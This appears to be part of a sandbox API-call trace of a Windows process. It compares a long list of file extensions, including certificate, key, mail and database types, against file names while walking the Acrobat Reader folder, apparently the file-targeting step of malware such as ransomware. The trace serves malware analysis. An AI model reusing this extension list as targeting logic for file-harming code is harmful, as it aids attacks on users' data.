	[0163.200] lstrcmpiW (lpString1=".j2k", lpString2=".dll") returned 1
	[0163.200] lstrlenW (lpString=".java") returned 5
	[0163.200] lstrcmpiW (lpString1=".java", lpString2="c.dll") returned -1
	[0163.200] lstrlenW (lpString=".jp2") returned 4
	[0163.200] lstrcmpiW (lpString1=".jp2", lpString2=".dll") returned 1
	[0163.200] lstrlenW (lpString=".jpc") returned 4
	[0163.200] lstrcmpiW (lpString1=".jpc", lpString2=".dll") returned 1
	[0163.200] lstrlenW (lpString=".jpe") returned 4
	[0163.200] lstrcmpiW (lpString1=".jpe", lpString2=".dll") returned 1
	[0163.200] lstrlenW (lpString=".jpeg") returned 5
	[0163.200] lstrcmpiW (lpString1=".jpeg", lpString2="c.dll") returned -1
	[0163.200] lstrlenW (lpString=".jpf") returned 4
	[0163.200] lstrcmpiW (lpString1=".jpf", lpString2=".dll") returned 1
	[0163.200] lstrlenW (lpString=".jpg") returned 4
	[0163.200] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0163.200] lstrlenW (lpString=".jpx") returned 4
	[0163.200] lstrcmpiW (lpString1=".jpx", lpString2=".dll") returned 1
	[0163.201] lstrlenW (lpString=".js") returned 3
	[0163.201] lstrcmpiW (lpString1=".js", lpString2="dll") returned -1
	[0163.201] lstrlenW (lpString=".jsf") returned 4
	[0163.201] lstrcmpiW (lpString1=".jsf", lpString2=".dll") returned 1
	[0163.201] lstrlenW (lpString=".json") returned 5
	[0163.201] lstrcmpiW (lpString1=".json", lpString2="c.dll") returned -1
	[0163.201] lstrlenW (lpString=".jsp") returned 4
	[0163.201] lstrcmpiW (lpString1=".jsp", lpString2=".dll") returned 1
	[0163.201] lstrlenW (lpString=".kdc") returned 4
	[0163.201] lstrcmpiW (lpString1=".kdc", lpString2=".dll") returned 1
	[0163.201] lstrlenW (lpString=".kmz") returned 4
	[0163.201] lstrcmpiW (lpString1=".kmz", lpString2=".dll") returned 1
	[0163.201] lstrlenW (lpString=".kwm") returned 4
	[0163.201] lstrcmpiW (lpString1=".kwm", lpString2=".dll") returned 1
	[0163.201] lstrlenW (lpString=".lasso") returned 6
	[0163.201] lstrcmpiW (lpString1=".lasso", lpString2="cc.dll") returned -1
	[0163.201] lstrlenW (lpString=".lbi") returned 4
	[0163.201] lstrcmpiW (lpString1=".lbi", lpString2=".dll") returned 1
	[0163.201] lstrlenW (lpString=".lgf") returned 4
	[0163.201] lstrcmpiW (lpString1=".lgf", lpString2=".dll") returned 1
	[0163.201] lstrlenW (lpString=".lgp") returned 4
	[0163.201] lstrcmpiW (lpString1=".lgp", lpString2=".dll") returned 1
	[0163.201] lstrlenW (lpString=".log") returned 4
	[0163.201] lstrcmpiW (lpString1=".log", lpString2=".dll") returned 1
	[0163.202] lstrlenW (lpString=".m1v") returned 4
	[0163.202] lstrcmpiW (lpString1=".m1v", lpString2=".dll") returned 1
	[0163.202] lstrlenW (lpString=".m4a") returned 4
	[0163.202] lstrcmpiW (lpString1=".m4a", lpString2=".dll") returned 1
	[0163.202] lstrlenW (lpString=".m4v") returned 4
	[0163.202] lstrcmpiW (lpString1=".m4v", lpString2=".dll") returned 1
	[0163.202] lstrlenW (lpString=".max") returned 4
	[0163.202] lstrcmpiW (lpString1=".max", lpString2=".dll") returned 1
	[0163.202] lstrlenW (lpString=".md") returned 3
	[0163.202] lstrcmpiW (lpString1=".md", lpString2="dll") returned -1
	[0163.202] lstrlenW (lpString=".mda") returned 4
	[0163.202] lstrcmpiW (lpString1=".mda", lpString2=".dll") returned 1
	[0163.202] lstrlenW (lpString=".mdb") returned 4
	[0163.202] lstrcmpiW (lpString1=".mdb", lpString2=".dll") returned 1
	[0163.202] lstrlenW (lpString=".mde") returned 4
	[0163.202] lstrcmpiW (lpString1=".mde", lpString2=".dll") returned 1
	[0163.202] lstrlenW (lpString=".mdf") returned 4
	[0163.202] lstrcmpiW (lpString1=".mdf", lpString2=".dll") returned 1
	[0163.202] lstrlenW (lpString=".mdw") returned 4
	[0163.202] lstrcmpiW (lpString1=".mdw", lpString2=".dll") returned 1
	[0163.202] lstrlenW (lpString=".mef") returned 4
	[0163.203] lstrcmpiW (lpString1=".mef", lpString2=".dll") returned 1
	[0163.203] lstrlenW (lpString=".mft") returned 4
	[0163.203] lstrcmpiW (lpString1=".mft", lpString2=".dll") returned 1
	[0163.203] lstrlenW (lpString=".mfw") returned 4
	[0163.203] lstrcmpiW (lpString1=".mfw", lpString2=".dll") returned 1
	[0163.203] lstrlenW (lpString=".mht") returned 4
	[0163.203] lstrcmpiW (lpString1=".mht", lpString2=".dll") returned 1
	[0163.203] lstrlenW (lpString=".mhtml") returned 6
	[0163.203] lstrcmpiW (lpString1=".mhtml", lpString2="cc.dll") returned -1
	[0163.203] lstrlenW (lpString=".mka") returned 4
	[0163.203] lstrcmpiW (lpString1=".mka", lpString2=".dll") returned 1
	[0163.203] lstrlenW (lpString=".mkidx") returned 6
	[0163.203] lstrcmpiW (lpString1=".mkidx", lpString2="cc.dll") returned -1
	[0163.203] lstrlenW (lpString=".mkv") returned 4
	[0163.203] lstrcmpiW (lpString1=".mkv", lpString2=".dll") returned 1
	[0163.203] lstrlenW (lpString=".mos") returned 4
	[0163.203] lstrcmpiW (lpString1=".mos", lpString2=".dll") returned 1
	[0163.203] lstrlenW (lpString=".mov") returned 4
	[0163.203] lstrcmpiW (lpString1=".mov", lpString2=".dll") returned 1
	[0163.203] lstrlenW (lpString=".mp3") returned 4
	[0163.203] lstrcmpiW (lpString1=".mp3", lpString2=".dll") returned 1
	[0163.203] lstrlenW (lpString=".mp4") returned 4
	[0163.204] lstrcmpiW (lpString1=".mp4", lpString2=".dll") returned 1
	[0163.204] lstrlenW (lpString=".mpeg") returned 5
	[0163.204] lstrcmpiW (lpString1=".mpeg", lpString2="c.dll") returned -1
	[0163.204] lstrlenW (lpString=".mpg") returned 4
	[0163.204] lstrcmpiW (lpString1=".mpg", lpString2=".dll") returned 1
	[0163.204] lstrlenW (lpString=".mpv") returned 4
	[0163.204] lstrcmpiW (lpString1=".mpv", lpString2=".dll") returned 1
	[0163.204] lstrlenW (lpString=".mrw") returned 4
	[0163.204] lstrcmpiW (lpString1=".mrw", lpString2=".dll") returned 1
	[0163.204] lstrlenW (lpString=".msg") returned 4
	[0163.204] lstrcmpiW (lpString1=".msg", lpString2=".dll") returned 1
	[0163.204] lstrlenW (lpString=".mxl") returned 4
	[0163.204] lstrcmpiW (lpString1=".mxl", lpString2=".dll") returned 1
	[0163.204] lstrlenW (lpString=".myd") returned 4
	[0163.204] lstrcmpiW (lpString1=".myd", lpString2=".dll") returned 1
	[0163.204] lstrlenW (lpString=".myi") returned 4
	[0163.204] lstrcmpiW (lpString1=".myi", lpString2=".dll") returned 1
	[0163.204] lstrlenW (lpString=".nef") returned 4
	[0163.204] lstrcmpiW (lpString1=".nef", lpString2=".dll") returned 1
	[0163.204] lstrlenW (lpString=".nrw") returned 4
	[0163.204] lstrcmpiW (lpString1=".nrw", lpString2=".dll") returned 1
	[0163.205] lstrlenW (lpString=".obj") returned 4
	[0163.205] lstrcmpiW (lpString1=".obj", lpString2=".dll") returned 1
	[0163.205] lstrlenW (lpString=".odb") returned 4
	[0163.205] lstrcmpiW (lpString1=".odb", lpString2=".dll") returned 1
	[0163.205] lstrlenW (lpString=".odc") returned 4
	[0163.205] lstrcmpiW (lpString1=".odc", lpString2=".dll") returned 1
	[0163.205] lstrlenW (lpString=".odm") returned 4
	[0163.205] lstrcmpiW (lpString1=".odm", lpString2=".dll") returned 1
	[0163.205] lstrlenW (lpString=".odp") returned 4
	[0163.205] lstrcmpiW (lpString1=".odp", lpString2=".dll") returned 1
	[0163.205] lstrlenW (lpString=".ods") returned 4
	[0163.205] lstrcmpiW (lpString1=".ods", lpString2=".dll") returned 1
	[0163.205] lstrlenW (lpString=".oft") returned 4
	[0163.205] lstrcmpiW (lpString1=".oft", lpString2=".dll") returned 1
	[0163.206] lstrlenW (lpString=".one") returned 4
	[0163.206] lstrcmpiW (lpString1=".one", lpString2=".dll") returned 1
	[0163.206] lstrlenW (lpString=".onepkg") returned 7
	[0163.206] lstrcmpiW (lpString1=".onepkg", lpString2="ecc.dll") returned -1
	[0163.206] lstrlenW (lpString=".onetoc2") returned 8
	[0163.206] lstrcmpiW (lpString1=".onetoc2", lpString2="_ecc.dll") returned -1
	[0163.206] lstrlenW (lpString=".opt") returned 4
	[0163.208] lstrcmpiW (lpString1=".opt", lpString2=".dll") returned 1
	[0163.208] lstrlenW (lpString=".oqy") returned 4
	[0163.208] lstrcmpiW (lpString1=".oqy", lpString2=".dll") returned 1
	[0163.209] lstrlenW (lpString=".orf") returned 4
	[0163.209] lstrcmpiW (lpString1=".orf", lpString2=".dll") returned 1
	[0163.209] lstrlenW (lpString=".p12") returned 4
	[0163.209] lstrcmpiW (lpString1=".p12", lpString2=".dll") returned 1
	[0163.209] lstrlenW (lpString=".p7b") returned 4
	[0163.210] lstrcmpiW (lpString1=".p7b", lpString2=".dll") returned 1
	[0163.210] lstrlenW (lpString=".p7c") returned 4
	[0163.210] lstrcmpiW (lpString1=".p7c", lpString2=".dll") returned 1
	[0163.210] lstrlenW (lpString=".pam") returned 4
	[0163.210] lstrcmpiW (lpString1=".pam", lpString2=".dll") returned 1
	[0163.211] lstrlenW (lpString=".pbm") returned 4
	[0163.211] lstrcmpiW (lpString1=".pbm", lpString2=".dll") returned 1
	[0163.211] lstrlenW (lpString=".pct") returned 4
	[0163.211] lstrcmpiW (lpString1=".pct", lpString2=".dll") returned 1
	[0163.211] lstrlenW (lpString=".pcx") returned 4
	[0163.212] lstrcmpiW (lpString1=".pcx", lpString2=".dll") returned 1
	[0163.212] lstrlenW (lpString=".pdd") returned 4
	[0163.212] lstrcmpiW (lpString1=".pdd", lpString2=".dll") returned 1
	[0163.212] lstrlenW (lpString=".pdf") returned 4
	[0163.212] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0163.213] lstrlenW (lpString=".pdp") returned 4
	[0163.213] lstrcmpiW (lpString1=".pdp", lpString2=".dll") returned 1
	[0163.213] lstrlenW (lpString=".pef") returned 4
	[0163.213] lstrcmpiW (lpString1=".pef", lpString2=".dll") returned 1
	[0163.213] lstrlenW (lpString=".pem") returned 4
	[0163.213] lstrcmpiW (lpString1=".pem", lpString2=".dll") returned 1
	[0163.213] lstrlenW (lpString=".pff") returned 4
	[0163.213] lstrcmpiW (lpString1=".pff", lpString2=".dll") returned 1
	[0163.213] lstrlenW (lpString=".pfm") returned 4
	[0163.213] lstrcmpiW (lpString1=".pfm", lpString2=".dll") returned 1
	[0163.213] lstrlenW (lpString=".pfx") returned 4
	[0163.213] lstrcmpiW (lpString1=".pfx", lpString2=".dll") returned 1
	[0163.213] lstrlenW (lpString=".pgm") returned 4
	[0163.213] lstrcmpiW (lpString1=".pgm", lpString2=".dll") returned 1
	[0163.213] lstrlenW (lpString=".php") returned 4
	[0163.214] lstrcmpiW (lpString1=".php", lpString2=".dll") returned 1
	[0163.214] lstrlenW (lpString=".php3") returned 5
	[0163.214] lstrcmpiW (lpString1=".php3", lpString2="c.dll") returned -1
	[0163.214] lstrlenW (lpString=".php4") returned 5
	[0163.214] lstrcmpiW (lpString1=".php4", lpString2="c.dll") returned -1
	[0163.214] lstrlenW (lpString=".php5") returned 5
	[0163.214] lstrcmpiW (lpString1=".php5", lpString2="c.dll") returned -1
	[0163.214] lstrlenW (lpString=".phtml") returned 6
	[0163.214] lstrcmpiW (lpString1=".phtml", lpString2="cc.dll") returned -1
	[0163.214] lstrlenW (lpString=".pict") returned 5
	[0163.214] lstrcmpiW (lpString1=".pict", lpString2="c.dll") returned -1
	[0163.214] lstrlenW (lpString=".pl") returned 3
	[0163.214] lstrcmpiW (lpString1=".pl", lpString2="dll") returned -1
	[0163.214] lstrlenW (lpString=".pls") returned 4
	[0163.214] lstrcmpiW (lpString1=".pls", lpString2=".dll") returned 1
	[0163.214] lstrlenW (lpString=".pm") returned 3
	[0163.214] lstrcmpiW (lpString1=".pm", lpString2="dll") returned -1
	[0163.215] lstrlenW (lpString=".png") returned 4
	[0163.215] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1
	[0163.215] lstrlenW (lpString=".pnm") returned 4
	[0163.215] lstrcmpiW (lpString1=".pnm", lpString2=".dll") returned 1
	[0163.215] lstrlenW (lpString=".pot") returned 4
	[0163.215] lstrcmpiW (lpString1=".pot", lpString2=".dll") returned 1
	[0163.215] lstrlenW (lpString=".potm") returned 5
	[0163.215] lstrcmpiW (lpString1=".potm", lpString2="c.dll") returned -1
	[0163.215] lstrlenW (lpString=".potx") returned 5
	[0163.215] lstrcmpiW (lpString1=".potx", lpString2="c.dll") returned -1
	[0163.215] lstrlenW (lpString=".ppa") returned 4
	[0163.215] lstrcmpiW (lpString1=".ppa", lpString2=".dll") returned 1
	[0163.215] lstrlenW (lpString=".ppam") returned 5
	[0163.215] lstrcmpiW (lpString1=".ppam", lpString2="c.dll") returned -1
	[0163.215] lstrlenW (lpString=".ppm") returned 4
	[0163.216] lstrcmpiW (lpString1=".ppm", lpString2=".dll") returned 1
	[0163.216] lstrlenW (lpString=".pps") returned 4
	[0163.216] lstrcmpiW (lpString1=".pps", lpString2=".dll") returned 1
	[0163.216] lstrlenW (lpString=".ppsm") returned 5
	[0163.217] lstrcmpiW (lpString1=".ppsm", lpString2="c.dll") returned -1
	[0163.217] lstrlenW (lpString=".ppt") returned 4
	[0163.217] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0163.217] lstrlenW (lpString=".pptm") returned 5
	[0163.217] lstrcmpiW (lpString1=".pptm", lpString2="c.dll") returned -1
	[0163.218] lstrlenW (lpString=".pptx") returned 5
	[0163.218] lstrcmpiW (lpString1=".pptx", lpString2="c.dll") returned -1
	[0163.218] lstrlenW (lpString=".prn") returned 4
	[0163.218] lstrcmpiW (lpString1=".prn", lpString2=".dll") returned 1
	[0163.218] lstrlenW (lpString=".ps") returned 3
	[0163.218] lstrcmpiW (lpString1=".ps", lpString2="dll") returned -1
	[0163.219] lstrlenW (lpString=".psb") returned 4
	[0163.219] lstrcmpiW (lpString1=".psb", lpString2=".dll") returned 1
	[0163.219] lstrlenW (lpString=".psd") returned 4
	[0163.219] lstrcmpiW (lpString1=".psd", lpString2=".dll") returned 1
	[0163.219] lstrlenW (lpString=".pst") returned 4
	[0163.220] lstrcmpiW (lpString1=".pst", lpString2=".dll") returned 1
	[0163.220] lstrlenW (lpString=".ptx") returned 4
	[0163.220] lstrcmpiW (lpString1=".ptx", lpString2=".dll") returned 1
	[0163.220] lstrlenW (lpString=".pub") returned 4
	[0163.221] lstrcmpiW (lpString1=".pub", lpString2=".dll") returned 1
	[0163.221] lstrlenW (lpString=".pwm") returned 4
	[0163.350] lstrcmpiW (lpString1=".pwm", lpString2=".dll") returned 1
	[0163.350] lstrlenW (lpString=".pxr") returned 4
	[0163.350] lstrcmpiW (lpString1=".pxr", lpString2=".dll") returned 1
	[0163.350] lstrlenW (lpString=".py") returned 3
	[0163.350] lstrcmpiW (lpString1=".py", lpString2="dll") returned -1
	[0163.350] lstrlenW (lpString=".qt") returned 3
	[0163.350] lstrcmpiW (lpString1=".qt", lpString2="dll") returned -1
	[0163.351] lstrlenW (lpString=".r3d") returned 4
	[0163.351] lstrcmpiW (lpString1=".r3d", lpString2=".dll") returned 1
	[0163.351] lstrlenW (lpString=".raf") returned 4
	[0163.351] lstrcmpiW (lpString1=".raf", lpString2=".dll") returned 1
	[0163.351] lstrlenW (lpString=".rar") returned 4
	[0163.351] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0163.351] lstrlenW (lpString=".raw") returned 4
	[0163.351] lstrcmpiW (lpString1=".raw", lpString2=".dll") returned 1
	[0163.351] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72bf0d00, ftCreationTime.dwHighDateTime=0x1d28909, ftLastAccessTime.dwLowDateTime=0x191f2bd5, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x72bf0d00, ftLastWriteTime.dwHighDateTime=0x1d28909, nFileSizeHigh=0x0, nFileSizeLow=0x2d9d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Click on 'Change' to select default PDF handler.pdf", cAlternateFileName="CLICKO~1.PDF")) returned 1
	[0163.351] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdf9352cd, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x2cabf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoolType.dll", cAlternateFileName="")) returned 1
	[0163.351] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdec648c5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x35600, dwReserved0=0x0, dwReserved1=0x0, cFileName="cryptocme.dll", cAlternateFileName="CRYPTO~1.DLL")) returned 1
	[0163.352] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe2a61b10, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0xb74, dwReserved0=0x0, dwReserved1=0x0, cFileName="cryptocme.sig", cAlternateFileName="CRYPTO~1.SIG")) returned 1
	[0163.352] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbb0b100, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xda97c8cb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcbb0b100, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x1fff0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DirectInk.dll", cAlternateFileName="DIRECT~1.DLL")) returned 1
	[0163.352] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1d4b4a4a, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe2a6b500, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x15050, dwReserved0=0x0, dwReserved1=0x0, cFileName="Eula.exe", cAlternateFileName="")) returned 1
	[0163.352] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x37c828ce, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0xa1aa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExtendScript.dll", cAlternateFileName="EXTEND~1.DLL")) returned 1
	[0163.352] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x37b2b330, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0xd72a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="icucnv40.dll", cAlternateFileName="")) returned 1
	[0163.352] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x37b51580, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x17aa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="icudt40.dll", cAlternateFileName="")) returned 1
	[0163.352] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3626e649, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3626e649, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3626e649, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IDTemplates", cAlternateFileName="IDTEMP~1")) returned 1
	[0163.352] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4520058
	[0163.353] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\*", lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3626e649, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3626e649, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3626e649, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dde40
	[0163.644] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3626e649, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3626e649, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3626e649, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0163.644] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3626e649, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3626e649, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x362948a6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ENU", cAlternateFileName="")) returned 1
	[0163.644] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45dcde0
	[0163.750] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\ENU\\*", lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3626e649, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3626e649, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x362948a6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ddb40
	[0163.752] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3626e649, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3626e649, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x362948a6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0163.752] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x362948a6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x14096, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1
	[0163.752] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3626e649, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x13b0b, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="DEFAUL~1.PDF")) returned 1
	[0163.752] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3626e649, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x13b0b, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="DEFAUL~1.PDF")) returned 0
	[0163.752] FindClose (in: hFindFile=0x5ddb40 | out: hFindFile=0x5ddb40) returned 1
	[0163.752] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45dcde0 | out: hHeap=0x4f0000) returned 1
	[0163.755] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3626e649, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3626e649, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x362948a6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ENU", cAlternateFileName="")) returned 0
	[0163.755] FindClose (in: hFindFile=0x5dde40 | out: hFindFile=0x5dde40) returned 1
	[0163.755] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0163.755] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b83e876, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0x1b83e876, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x1b83e876, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Javascripts", cAlternateFileName="JAVASC~1")) returned 1
	[0163.755] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4520058
